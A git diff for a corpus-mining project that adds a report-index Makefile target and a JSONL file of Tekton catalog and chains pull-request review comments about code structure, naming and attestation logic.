diff --git a/Makefile b/Makefile index cfc6f8c..ffc73ce 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,4 @@ -.PHONY: help lint type-check test check parse scan-gaps gap-report mine-pr-cache map-prs pr-map-report fetch-tep-prs fetch-impl-prs search synthesize query +.PHONY: help lint type-check test check parse scan-gaps gap-report mine-pr-cache map-prs pr-map-report fetch-tep-prs fetch-impl-prs report-index search synthesize query # Load .env if it exists -include .env @@ -69,7 +69,13 @@ fetch-impl-prs: ## Sub-Task 5: Fetch implementation PR metadata → raw/impl_prs uv run scripts/fetch_impl_prs.py \ --teps-jsonl raw/teps.jsonl \ --output-prs raw/impl_prs.jsonl \ - --output-reviews raw/impl_pr_reviews.jsonl + --output-reviews raw/impl_pr_reviews.jsonl \ + --report reports/impl_prs_report.html + +report-index: ## Build a tabbed index over every reports/*.html → reports/index.html + uv run scripts/build_report_index.py \ + --reports-dir reports \ + --out reports/index.html search: ## Sub-Task 6: Cross-repo TEP reference search (run after fetch-impl-prs) uv run scripts/cross_repo_search.py \ diff --git a/pyproject.toml b/pyproject.toml index 0fbca8b..cbecf9a 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -5,7 +5,7 @@ build-backend = "hatchling.build" [project] name = "tep-mining" version = "0.1.0" -description = "Corpus mining scripts for TEP-0192 Phase 0a" +description = "Corpus mining scripts for TEP-0173 Phase 0a" requires-python = ">=3.11" dependencies = [ "requests>=2.32.3", diff --git a/raw/impl_pr_reviews.jsonl b/raw/impl_pr_reviews.jsonl new file mode 100644 index 0000000..949237b --- /dev/null +++ b/raw/impl_pr_reviews.jsonl @@ -0,0 +1,5740 @@ +{"author": "vdemeester", "body": "we may want to use a tagged version of this image :panda_face: ", "comment_id": 500881940, "created_at": "2020-10-07T09:49:07Z", "line": null, "path": "task/tkn/0.2/tkn.yaml", "pr_number": 499, "repo": "catalog"} +{"author": null, "body": "Small nit: this sounds a bit like `tkn` task will write `kubeconfig` to the workspace. I understand what you mean but I wonder if we could make a small edit to the description to make it clearer:\r\n\r\n> An optional workspace that allows you to provide a `.kube/config` file for `tkn` to access the cluster. The file should be placed at the root of the Workspace with name `kubeconfig`.\r\n\r\nSimilar comment for the description in the README.", "comment_id": 500986881, "created_at": "2020-10-07T12:53:00Z", "line": null, "path": "task/tkn/0.2/tkn.yaml", "pr_number": 499, "repo": "catalog"} +{"author": null, "body": "What do you think about also including an example at the bottom:\r\n\r\n```yaml\r\napiVersion: v1\r\nkind: Secret\r\nmetadata:\r\n name: kubeconfig\r\nstringData:\r\n kubeconfig: |\r\n apiVersion: v1\r\n kind: Config\r\n preferences: {}\r\n clusters:\r\n - cluster:\r\n certificate-authority-data: LS0exampleexampleexample=\r\n server: https://cluster.example.com:8443\r\n name: my-cluster\r\n contexts:\r\n - context:\r\n cluster: my-cluster\r\n user: my-cluster-user\r\n name: my-cluster\r\n current-context: my-cluster\r\n users:\r\n - name: my-cluster-user\r\n user:\r\n client-certificate-data: LS0exampleexampleexample=\r\n client-key-data: LS0exampleexampleexample=\r\n```", "comment_id": 500990759, "created_at": "2020-10-07T12:58:47Z", "line": null, "path": "task/tkn/0.2/README.md", "pr_number": 499, "repo": "catalog"} +{"author": null, "body": "Given that a kubeconfig includes certificates in its body I think we might want to demonstrate using Secrets here?", "comment_id": 500991260, "created_at": "2020-10-07T12:59:32Z", "line": null, "path": "task/tkn/0.2/README.md", "pr_number": 499, "repo": "catalog"} +{"author": "vinamra28", "body": "how about adding one more category as Cloud along with CLI?", "comment_id": 668460314, "created_at": "2021-07-13T06:21:04Z", "line": 9, "path": "task/gcloud/0.1/gcloud.yaml", "pr_number": 658, "repo": "catalog"} +{"author": "vinamra28", "body": "here `Git, CLI` ?", "comment_id": 668460875, "created_at": "2021-07-13T06:21:59Z", "line": 9, "path": "task/git-cli/0.1/git-cli.yaml", "pr_number": 658, "repo": "catalog"} +{"author": "vinamra28", "body": "`Git, Deployment` ?", "comment_id": 668472262, "created_at": "2021-07-13T06:43:38Z", "line": 9, "path": "task/github-create-deployment/0.1/github-create-deployment.yaml", "pr_number": 658, "repo": "catalog"} +{"author": "vinamra28", "body": "`Kubernetes, Deployment`?", "comment_id": 668473144, "created_at": "2021-07-13T06:45:12Z", "line": 9, "path": "task/gke-deploy/0.1/gke-deploy.yaml", "pr_number": 658, "repo": "catalog"} +{"author": "vinamra28", "body": "`Cloud, CLI`?", "comment_id": 668473446, "created_at": "2021-07-13T06:45:48Z", "line": 9, "path": "task/ibmcloud/0.1/ibmcloud.yaml", "pr_number": 658, "repo": "catalog"} +{"author": "vinamra28", "body": "`Kubernetes`?", "comment_id": 668474041, "created_at": "2021-07-13T06:46:58Z", "line": null, "path": "task/kubeconfig-creator/0.1/kubeconfig-creator.yaml", "pr_number": 658, "repo": "catalog"} +{"author": "vinamra28", "body": "`Kubernetes, Deployment`?", "comment_id": 668474155, "created_at": "2021-07-13T06:47:12Z", "line": 9, "path": "task/kubectl-deploy-pod/0.1/kubectl-deploy-pod.yaml", "pr_number": 658, "repo": "catalog"} +{"author": "vinamra28", "body": "`Cloud, Kubernetes`?", "comment_id": 668474819, "created_at": "2021-07-13T06:48:23Z", "line": 9, "path": "task/orka-deploy/0.1/orka-deploy.yaml", "pr_number": 658, "repo": "catalog"} +{"author": "vinamra28", "body": "`Security`?", "comment_id": 668475368, "created_at": "2021-07-13T06:49:13Z", "line": 9, "path": "task/scorecard/0.1/scorecard.yaml", "pr_number": 658, "repo": "catalog"} +{"author": "vinamra28", "body": "`CLI, Image-Build`?", "comment_id": 668475965, "created_at": "2021-07-13T06:50:17Z", "line": 9, "path": "task/skopeo-copy/0.1/skopeo-copy.yaml", "pr_number": 658, "repo": "catalog"} +{"author": "vinamra28", "body": "`CLI, Automation`?", "comment_id": 668476522, "created_at": "2021-07-13T06:51:00Z", "line": 10, "path": "task/terraform-cli/0.2/terraform-cli.yaml", "pr_number": 658, "repo": "catalog"} +{"author": "priyawadhwa", "body": "could we move all verification code to `pkg/chains/verify.go`? might just make it easier to find", "comment_id": 725243151, "created_at": "2021-10-08T19:08:26Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 245, "repo": "chains"} +{"author": "priyawadhwa", "body": "nice !", "comment_id": 725244341, "created_at": "2021-10-08T19:10:26Z", "line": 33, "path": "pkg/chains/storage/gcs/gcs.go", "pr_number": 245, "repo": "chains"} +{"author": "priyawadhwa", "body": "i think i removed the uuid in the object name because it is part of `opts.Key`, which gets included. ", "comment_id": 725244655, "created_at": "2021-10-08T19:11:04Z", "line": null, "path": "pkg/chains/storage/gcs/gcs.go", "pr_number": 245, "repo": "chains"} +{"author": "priyawadhwa", "body": "yup that comment can probably be removed :) ", "comment_id": 725245037, "created_at": "2021-10-08T19:11:47Z", "line": null, "path": "pkg/chains/storage/oci/oci.go", "pr_number": 245, "repo": "chains"} +{"author": "rgreinho", "body": "Very cool! Updating the comments.", "comment_id": 725262085, "created_at": "2021-10-08T19:46:18Z", "line": null, "path": "pkg/chains/storage/gcs/gcs.go", "pr_number": 245, "repo": "chains"} +{"author": "rgreinho", "body": "> This is looking really good! Just left a couple small comments.\r\n> \r\n> I think we can actually use this code in our integration tests as well, which would be nice because it should simplify the test & we can make sure this works correctly!\r\n> \r\n> For each test we do manual verification -- would it be easy to use this interface to verify instead? e.g. we could replace this code with your verification code:\r\n> \r\n\r\nI like the sound of it \ud83d\ude03 \r\n\r\nHowever I am facing the same problem as in the CLI, thus I am glad you brought this up.\r\n\r\nIn order to do what you described above, I need to create a new backend. I attempted to do create one using the [storage.InitializeBackends()](https://github.com/tektoncd/chains/blob/main/pkg/chains/storage/storage.go#L35) function, but I am not sure what the parameters are and how to get them, especially `ps versioned.Interface`,` kc kubernetes.Interface` and `cfg config.Config`. I already had the TaskRun, so this parameter was fine, and for the logger, I just created a new Zap SugarLogger. Could you provide some pointers regarding the rest?\r\n\r\n", "comment_id": 725266124, "created_at": "2021-10-08T19:54:25Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 245, "repo": "chains"} +{"author": "rgreinho", "body": "> could we move all verification code to `pkg/chains/verify.go`? might just make it easier to find\r\n\r\nAbsolutely \ud83d\udc4d \r\n\r\n", "comment_id": 725266343, "created_at": "2021-10-08T19:54:50Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 245, "repo": "chains"} +{"author": "priyawadhwa", "body": "For sure! So to verify I believe all we should need are:\r\n- `cfg config.Config`\r\n- `kc kubernetes.Interface`, which we'll use to actually read the ConfigMap into `cfg`\r\n\r\nWe can use `kc` to get the ConfigMap object from the cluster, and then we can pass the data into [NewConfigFromConfigMap](https://github.com/tektoncd/chains/blob/main/pkg/config/config.go#L202) to get `cfg`. Once we have `cfg`, I believe that's everything we need for verification.\r\n\r\nI don't think we need the `PipelineClientset` for anything, just the kubernetes Client should be sufficient.\r\n\r\nDoes this make sense?\r\n", "comment_id": 725318073, "created_at": "2021-10-08T21:49:18Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 245, "repo": "chains"} +{"author": "priyawadhwa", "body": "i think we can just call this `reader`, since it's in the `gcs` package it'll imply that it's a gcs reader", "comment_id": 726376294, "created_at": "2021-10-11T17:07:12Z", "line": null, "path": "pkg/chains/storage/gcs/gcs.go", "pr_number": 245, "repo": "chains"} +{"author": "priyawadhwa", "body": "could you open an issue to implement this just so we don't forget about it?", "comment_id": 726379240, "created_at": "2021-10-11T17:08:33Z", "line": 176, "path": "pkg/chains/storage/oci/oci.go", "pr_number": 245, "repo": "chains"} +{"author": "priyawadhwa", "body": "there's a testing logger we can use [here](https://github.com/tektoncd/chains/blob/24c560f488ddc2b60bb6a4d2d6059ceea2db90db/pkg/chains/formats/intotoite6/intotoite6_test.go#L392)", "comment_id": 726382656, "created_at": "2021-10-11T17:10:24Z", "line": null, "path": "test/test_utils.go", "pr_number": 245, "repo": "chains"} +{"author": "rgreinho", "body": "Addressed \u2705 ", "comment_id": 726581539, "created_at": "2021-10-11T21:36:00Z", "line": null, "path": "test/test_utils.go", "pr_number": 245, "repo": "chains"} +{"author": "rgreinho", "body": "Here you are: https://github.com/tektoncd/chains/issues/260 \ud83d\udc4d ", "comment_id": 726589167, "created_at": "2021-10-11T21:52:26Z", "line": 176, "path": "pkg/chains/storage/oci/oci.go", "pr_number": 245, "repo": "chains"} +{"author": "rgreinho", "body": "Done \u2705 To be consistent, I also renamed `realGCSWriter` to `writer`. ", "comment_id": 726591002, "created_at": "2021-10-11T21:56:53Z", "line": null, "path": "pkg/chains/storage/gcs/gcs.go", "pr_number": 245, "repo": "chains"} +{"author": "wlynch", "body": "You might be interested in some prior art in https://github.com/tektoncd/results/tree/main/pkg/watcher/reconciler - which watched both TaskRuns and PipelineRuns to update annotations for Results :)\r\n\r\nThe premise is roughly the same, but the other way makes heavy use of unstructured.Unstructured + defining the client to use when creating the reconciler.", "comment_id": 866392410, "created_at": "2022-05-05T23:31:08Z", "line": null, "path": "pkg/chains/objects/objects.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "I'd lean towards relying on Listers where possible (unless we absolutely need the freshest value here)", "comment_id": 866392698, "created_at": "2022-05-05T23:31:48Z", "line": null, "path": "pkg/chains/objects/objects.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "Hmmm so this is interesting, because IIUC the builder id is supposed to be an identifier for \"the thing that ran the build\" - but this is actually ambiguous because a Pipeline by itself doesn't actually run anything - it farms things out to Tasks to execute. \ud83e\udd14 \r\n\r\nMaybe this should be some reference to the controller that orchestrated the run, but that's also ambiguous if multiple controllers happen to pick up the same pipeline (i.e. retries, etc.). \ud83e\udd14 \ud83e\udd14 \ud83e\udd14 \r\n\r\nDon't need to solve this in this PR - but if you have any thoughts I'd love to discuss more.", "comment_id": 866395167, "created_at": "2022-05-05T23:38:28Z", "line": null, "path": "pkg/chains/formats/intotoite6/intotoite6.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "This should probably be the run payload?", "comment_id": 866395787, "created_at": "2022-05-05T23:40:01Z", "line": null, "path": "pkg/chains/formats/intotoite6/intotoite6.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "The fact that we're passing `nil, nil` here and a bunch of other places makes me think we may want to re think the object abstraction. \ud83d\ude05 \r\n", "comment_id": 866396089, "created_at": "2022-05-05T23:40:47Z", "line": null, "path": "pkg/chains/formats/intotoite6/intotoite6.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "We'd want these to play nice with pipeline runs as well in the future.", "comment_id": 866397178, "created_at": "2022-05-05T23:43:52Z", "line": null, "path": "pkg/chains/storage/docdb/docdb_test.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Okay i see you already have an implementation of a generic object there, i think we'll just re-use that implementation - what do you think?", "comment_id": 870491477, "created_at": "2022-05-11T15:54:59Z", "line": null, "path": "pkg/chains/objects/objects.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Yup we were keeping that in mind. This call happens because we wanted to keep the original behavior, as of now the some storage options will make calls to the master API. [Here's an example.](https://github.com/tektoncd/chains/blob/main/pkg/chains/storage/tekton/tekton.go#L85)", "comment_id": 870493612, "created_at": "2022-05-11T15:57:02Z", "line": null, "path": "pkg/chains/objects/objects.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "We currently are creating an attestation that serves our needs while keeping in line with the provenance predicate. We want to keep in line with the schema, so i would like to discuss what we have so far in another thread. Perhaps the chains slack?", "comment_id": 870496036, "created_at": "2022-05-11T15:59:25Z", "line": null, "path": "pkg/chains/formats/intotoite6/intotoite6.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Yes that's right, I made a refactor that removes those calls but after finding the abstraction that already exists we'll most likely move to that anyway", "comment_id": 870496645, "created_at": "2022-05-11T16:00:05Z", "line": null, "path": "pkg/chains/formats/intotoite6/intotoite6.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Can you expand on this? Do you mean the other storage options?", "comment_id": 870497078, "created_at": "2022-05-11T16:00:31Z", "line": null, "path": "pkg/chains/storage/docdb/docdb_test.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "Yup! Just a note that we'll want to support the same storage options we do for TaskRuns for PipelineRuns as well.\r\n\r\nTotally okay with starting with a 1-2 backends and adding more as we go though! \ud83d\udc4d ", "comment_id": 871558073, "created_at": "2022-05-12T15:56:58Z", "line": null, "path": "pkg/chains/storage/docdb/docdb_test.go", "pr_number": 436, "repo": "chains"} +{"author": "chuangw6", "body": "nit: can we change the variable name `ts` to something more meaningful? I think it was short for `taskrunSigner`", "comment_id": 940392571, "created_at": "2022-08-08T15:44:51Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 436, "repo": "chains"} +{"author": "chuangw6", "body": "I am a bit skeptical about the ordering here. Shouldn't we retrieve the values from `PipelineSpec.Params[x].Default` first and then retrieve from `PipelineRun.Spec.Params[x].Value` so that we are assured that we always get the latest value from pipelinerun level? \r\n\r\nThis problem exists for the materials in the taskrun level - task spec level default param value will overwrite the param value provided from run level.\r\n\r\nwdyt?", "comment_id": 946928483, "created_at": "2022-08-16T15:26:20Z", "line": null, "path": "pkg/chains/formats/intotoite6/pipelinerun/pipelinerun.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Yes, we should", "comment_id": 947851927, "created_at": "2022-08-17T12:10:38Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Yes, if a run value was provided it should choose that over the default value. Have you been able to reproduce that behavior? If so it should be fixed. \r\n\r\nLet me know if you want to submit a PR to resolve these, otherwise I'll create a work item to to track them.", "comment_id": 947854505, "created_at": "2022-08-17T12:13:34Z", "line": null, "path": "pkg/chains/formats/intotoite6/pipelinerun/pipelinerun.go", "pr_number": 436, "repo": "chains"} +{"author": "lcarva", "body": "It should be fixed for TaskRun attestations in the main branch: https://github.com/tektoncd/chains/pull/449\r\nWe just need to apply the same fix for PipelineRun attestations as well (and ensure this PR doesn't revert the fix on TaskRuns)", "comment_id": 947899808, "created_at": "2022-08-17T12:59:35Z", "line": null, "path": "pkg/chains/formats/intotoite6/pipelinerun/pipelinerun.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "This is always debated \ud83d\ude06 https://github.com/golang/go/wiki/CodeReviewComments#receiver-names has some general advice, which suggests this is fine (though maybe use `os` / `o` / `s` to better match the type)", "comment_id": 950512642, "created_at": "2022-08-19T19:42:27Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "@chuangw6 Do you remember why we're getting the latest annotations here?\r\n\r\nI'm wondering why the annotations of the state we're reconciling isn't sufficient \ud83e\udd14 ", "comment_id": 950515311, "created_at": "2022-08-19T19:47:16Z", "line": null, "path": "pkg/chains/storage/tekton/tekton.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "Let's avoid the `util` name if possible, unless these are all just test helper funcs - https://go.dev/blog/package-names\r\n\r\nIf they are test helper funcs, put them into `pkg/internal/util` so it's not exposed as part of the library.", "comment_id": 950525154, "created_at": "2022-08-19T20:04:44Z", "line": null, "path": "pkg/chains/formats/intotoite6/util/utils.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "```suggestion\r\n\tURLParam = \"CHAINS-GIT_URL\"\r\n```\r\n\r\nhttps://github.com/golang/go/wiki/CodeReviewComments#initialisms", "comment_id": 950525775, "created_at": "2022-08-19T20:05:53Z", "line": null, "path": "pkg/chains/formats/intotoite6/util/utils.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "```suggestion\r\nfunc SPDXGit(url, revision string) string {\r\n```", "comment_id": 950526118, "created_at": "2022-08-19T20:06:35Z", "line": null, "path": "pkg/chains/formats/intotoite6/util/utils.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "```suggestion\r\nfunc TaskRunFromFile(f string) (*v1beta1.TaskRun, error) {\r\n```", "comment_id": 950526599, "created_at": "2022-08-19T20:07:29Z", "line": null, "path": "pkg/chains/formats/intotoite6/util/utils.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "```suggestion\r\nfunc PipelineRunFromFile(f string) (*v1beta1.PipelineRun, error) {\r\n```", "comment_id": 950526653, "created_at": "2022-08-19T20:07:35Z", "line": null, "path": "pkg/chains/formats/intotoite6/util/utils.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "```suggestion\r\n\tcontents, err := os.ReadFile(f)\r\n```\r\n \r\nalso below", "comment_id": 950527403, "created_at": "2022-08-19T20:09:01Z", "line": null, "path": "pkg/chains/formats/intotoite6/util/utils.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "Fine with keeping this here, but do you think any of this would be generally useful to contribute to the upstream pipelines library? \ud83d\udc40 ", "comment_id": 950528336, "created_at": "2022-08-19T20:10:40Z", "line": 57, "path": "pkg/chains/objects/objects.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "Please add godoc comments for the package + types! https://go.dev/doc/comment", "comment_id": 950528907, "created_at": "2022-08-19T20:11:39Z", "line": 14, "path": "pkg/chains/objects/objects.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "optional (depending on how you feel): you could also define this on the Run objects themselves and do something like\r\n\r\n```go\r\nobj.GenerateAttestation(i.builderID)\r\n```", "comment_id": 950533288, "created_at": "2022-08-19T20:19:25Z", "line": 49, "path": "pkg/chains/formats/intotoite6/intotoite6.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "Double check this, but I don't think logger is used? (it might be generally better to just return an error and log it here anyway)", "comment_id": 950533977, "created_at": "2022-08-19T20:20:39Z", "line": 49, "path": "pkg/chains/formats/intotoite6/intotoite6.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "Also for things like *RunFromFile that I'm pretty sure are only used in tests, you can enforce they are test only by having clients pass in a `t.Testing`, which also lets you t.Fatal if it fails and consolidates an error check that needs to be done in each test.", "comment_id": 950535570, "created_at": "2022-08-19T20:23:39Z", "line": null, "path": "pkg/chains/formats/intotoite6/util/utils.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "Looks like these are used in the reconcilers.", "comment_id": 950537325, "created_at": "2022-08-19T20:26:57Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "Remove", "comment_id": 950538671, "created_at": "2022-08-19T20:29:21Z", "line": null, "path": "pkg/chains/storage/tekton/tekton.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "Instead of passing the client through as a param (which then needs to be passed to every other backend impl even though they don't use it) - why not use the existing `b.pipelineclientset`?", "comment_id": 950539282, "created_at": "2022-08-19T20:30:28Z", "line": null, "path": "pkg/chains/storage/tekton/tekton.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "Same for the other storage functions.", "comment_id": 950539770, "created_at": "2022-08-19T20:31:18Z", "line": null, "path": "pkg/chains/storage/tekton/tekton.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "Is this a \"not yet supported\" unsupported, or a \"won't ever support\" unsupported? (if the first option, can we include a tracking issue so people can follow?)", "comment_id": 950541273, "created_at": "2022-08-19T20:34:05Z", "line": 65, "path": "pkg/chains/storage/gcs/gcs.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "If you want to restrict which backends are available for which type, this is a good place to do it.\r\n\r\nYou're loading all backends for pipelineruns here, even though you call out several of them as TaskRun only above.", "comment_id": 950542861, "created_at": "2022-08-19T20:36:56Z", "line": 56, "path": "pkg/reconciler/pipelinerun/controller.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "optional: Instead of making sure \"pipelinerun %s/%s\" is in every log statement, you could do something like this in ReconcileKind:\r\n\r\n```go\r\nlog := logging.FromContext(ctx).With(\r\n \"pipelinerun\", fmt.Sprintf(\"%s/%s\", pr.Namespace, pr.Name),\r\n ...,\r\n)\r\nreturn r.FinalizeKind(logging.WithLogger(log), pr)\r\n```\r\n\r\nWhich will label all logging statements with the k/v pair within the context.", "comment_id": 950546269, "created_at": "2022-08-19T20:43:36Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "Should we share this in an internal package with the taskrun reconciler?", "comment_id": 950547817, "created_at": "2022-08-19T20:46:47Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "put in `pkg/internal`.\r\n\r\nPerhaps `pkg/internal/tekton`? Then we could have `tekton.CreateObject`, `tekton.GetTaskRun`, ...", "comment_id": 950548654, "created_at": "2022-08-19T20:48:27Z", "line": null, "path": "pkg/test/clients.go", "pr_number": 436, "repo": "chains"} +{"author": "lcarva", "body": "It looks like `retrieveAnnotationValue` is only ever called by `RetrieveSignatures` and `RetrievePayloads` below. The first is not called anywhere within Chains. The second is called from `VerifyTaskRun` in `pkg/chains/verifier.go`. `VerifyTaskRun` is not called from anywhere.\r\n\r\nThis is either meant to be used by something outside of Chains, or it is dead code. I wonder if it was added to assist in the cli? https://github.com/tektoncd/cli/blob/main/pkg/chain/chain.go (In which case, it makes perfect sense that it fetches the TaskRun).", "comment_id": 950564609, "created_at": "2022-08-19T21:21:57Z", "line": null, "path": "pkg/chains/storage/tekton/tekton.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Yes, I think that's a good idea. Do you think it's okay to be apart of this PR for now, then separate it out later? Let me know your thoughts.", "comment_id": 951797815, "created_at": "2022-08-22T18:53:48Z", "line": 57, "path": "pkg/chains/objects/objects.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "It looks like the `RetrieveSignatures` and `RetrievePayloads` are also used as helper functions for testing the Tekton backend. Maybe they were placed here in case they had value in the future? As of now they would probably fit better in a testing utilities directory.", "comment_id": 951844815, "created_at": "2022-08-22T19:42:16Z", "line": null, "path": "pkg/chains/storage/tekton/tekton.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "It's not yet supported, although there's no reason this shouldn't work. We just haven't tested this ourselves. We can add an issue to track testing the backend to make sure it works as intended. Where's the best place to create that ticket?", "comment_id": 952586467, "created_at": "2022-08-23T12:53:57Z", "line": 65, "path": "pkg/chains/storage/gcs/gcs.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "@wlynch @chuangw6 Is keeping `VerifyTaskRun` required if it isn't being used anywhere? Is it being imported by other projects? It would make the most sense to clean this up and separate `RetrieveSignatures` and `RetrievePayloads` into the internal testing directory. ", "comment_id": 952678015, "created_at": "2022-08-23T14:08:41Z", "line": null, "path": "pkg/chains/storage/tekton/tekton.go", "pr_number": 436, "repo": "chains"} +{"author": "chuangw6", "body": "> @chuangw6 Do you remember why we're getting the latest annotations here?\r\n> \r\n> I'm wondering why the annotations of the state we're reconciling isn't sufficient \ud83e\udd14\r\n\r\nI think it's only for retrieving the payload from taskrun's annotation.\r\n\r\n\r\n> @wlynch @chuangw6 Is keeping VerifyTaskRun required if it isn't being used anywhere? Is it being imported by other projects? It would make the most sense to clean this up and separate RetrieveSignatures and RetrievePayloads into the internal testing directory.\r\n\r\nIt's not required nor used by other projects AFAIK.", "comment_id": 952690087, "created_at": "2022-08-23T14:18:25Z", "line": null, "path": "pkg/chains/storage/tekton/tekton.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Looks like it's used in [getting the subject digests](https://github.com/hacbs-contract/chains/blob/poc-tep-84/pkg/chains/formats/intotoite6/util/utils.go#L63), logging an error that it's not in the correct format. ", "comment_id": 952690850, "created_at": "2022-08-23T14:19:01Z", "line": 49, "path": "pkg/chains/formats/intotoite6/intotoite6.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Actually what's interesting is `RetrieveSignatures` and `RetrievePayloads` has been implemented by every backend but none are used anywhere except tests", "comment_id": 952703882, "created_at": "2022-08-23T14:29:24Z", "line": null, "path": "pkg/chains/storage/tekton/tekton.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Yeah that's a good idea. I think it might be a good idea to have them in same directory as they are now just because of the amount of code reuse between them. Generating attestations doesn't seem to unique to the object. This may change in the future though. Let me know if you agree.", "comment_id": 953018943, "created_at": "2022-08-23T19:16:56Z", "line": 49, "path": "pkg/chains/formats/intotoite6/intotoite6.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Would [here](https://github.com/hacbs-contract/chains/blob/poc-tep-84/pkg/config/config.go#L249) be a better place? This way the deployment fails right away due to misconfiguration. ", "comment_id": 953087975, "created_at": "2022-08-23T20:38:31Z", "line": 56, "path": "pkg/reconciler/pipelinerun/controller.go", "pr_number": 436, "repo": "chains"} +{"author": "chuangw6", "body": "Talked to @wlynch a while ago about the usage of these retrieval functions. There might be potential usage in future when people want to add CLI capability to retrieve & verify attestations. But other than that, I agree they are just used in tests for now. ", "comment_id": 954046950, "created_at": "2022-08-24T16:55:04Z", "line": null, "path": "pkg/chains/storage/tekton/tekton.go", "pr_number": 436, "repo": "chains"} +{"author": "chuangw6", "body": "#449 fixed the problem in `invocation.parameters`. What I commented on is `materials` section.\r\n\r\nhttps://github.com/tektoncd/chains/pull/527 should fix `materials` section for the taskrun level. We just need to make sure it's correct for pipeline run level attestation in this PR.", "comment_id": 954076888, "created_at": "2022-08-24T17:23:07Z", "line": null, "path": "pkg/chains/formats/intotoite6/pipelinerun/pipelinerun.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "sounds good - fixed", "comment_id": 958802111, "created_at": "2022-08-30T18:26:39Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "okay i left them in for now. Removing such a large amount of code that may have use in future seems out of scope for this PR", "comment_id": 958803137, "created_at": "2022-08-30T18:27:53Z", "line": null, "path": "pkg/chains/storage/tekton/tekton.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Added them to the internal package. Although I left out the `t.Testing` parameter since this are used in the `init` functions to load the files once for tests.", "comment_id": 958803794, "created_at": "2022-08-30T18:28:40Z", "line": null, "path": "pkg/chains/formats/intotoite6/util/utils.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "fixed", "comment_id": 958803883, "created_at": "2022-08-30T18:28:46Z", "line": null, "path": "pkg/chains/formats/intotoite6/util/utils.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "fixed", "comment_id": 958804005, "created_at": "2022-08-30T18:28:55Z", "line": null, "path": "pkg/chains/formats/intotoite6/util/utils.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "fixed", "comment_id": 958804079, "created_at": "2022-08-30T18:28:59Z", "line": null, "path": "pkg/chains/formats/intotoite6/util/utils.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "fixed", "comment_id": 958804196, "created_at": "2022-08-30T18:29:08Z", "line": null, "path": "pkg/chains/formats/intotoite6/util/utils.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "fixed", "comment_id": 958804254, "created_at": "2022-08-30T18:29:13Z", "line": null, "path": "pkg/chains/formats/intotoite6/util/utils.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "fixed, feel free to take another look to see if more detail should be added and that the correct formatting is being followed.", "comment_id": 958804733, "created_at": "2022-08-30T18:29:48Z", "line": 14, "path": "pkg/chains/objects/objects.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Removed this comment", "comment_id": 958805007, "created_at": 